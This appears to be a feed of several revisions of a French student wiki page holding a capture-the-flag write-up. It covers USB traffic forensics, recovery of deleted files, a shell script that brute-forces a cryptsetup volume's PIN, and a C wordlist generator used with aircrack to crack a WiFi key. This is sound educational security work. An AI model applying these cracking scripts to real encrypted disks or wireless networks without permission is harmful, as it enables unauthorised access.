En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=C&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
		char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
		char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
		for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
				for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
						for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
								for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
										for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
												for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
														for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
																for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
																	if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
																		printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
																}&lt;br /&gt;
														}&lt;br /&gt;
												}&lt;br /&gt;
										}&lt;br /&gt;
								}&lt;br /&gt;
						}&lt;br /&gt;
				}&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58329</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58329"/>
				<updated>2022-01-20T13:01:22Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Existe-t-il encore de vraies brutes ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C :&lt;br /&gt;
&amp;lt;code&amp;gt; &lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
		char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
		char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
		for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
				for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
						for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
								for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
										for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
												for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
														for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
																for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
																	if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
																		printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
																}&lt;br /&gt;
														}&lt;br /&gt;
												}&lt;br /&gt;
										}&lt;br /&gt;
								}&lt;br /&gt;
						}&lt;br /&gt;
				}&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58327</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58327"/>
				<updated>2022-01-20T13:00:44Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Existe-t-il encore de vraies brutes ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C : &lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
		char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
		char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
		for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
				for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
						for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
								for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
										for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
												for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
														for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
																for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
																	if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
																		printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
																}&lt;br /&gt;
														}&lt;br /&gt;
												}&lt;br /&gt;
										}&lt;br /&gt;
								}&lt;br /&gt;
						}&lt;br /&gt;
				}&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58322</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58322"/>
				<updated>2022-01-20T12:58:23Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déchiffrer le manuscrit */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
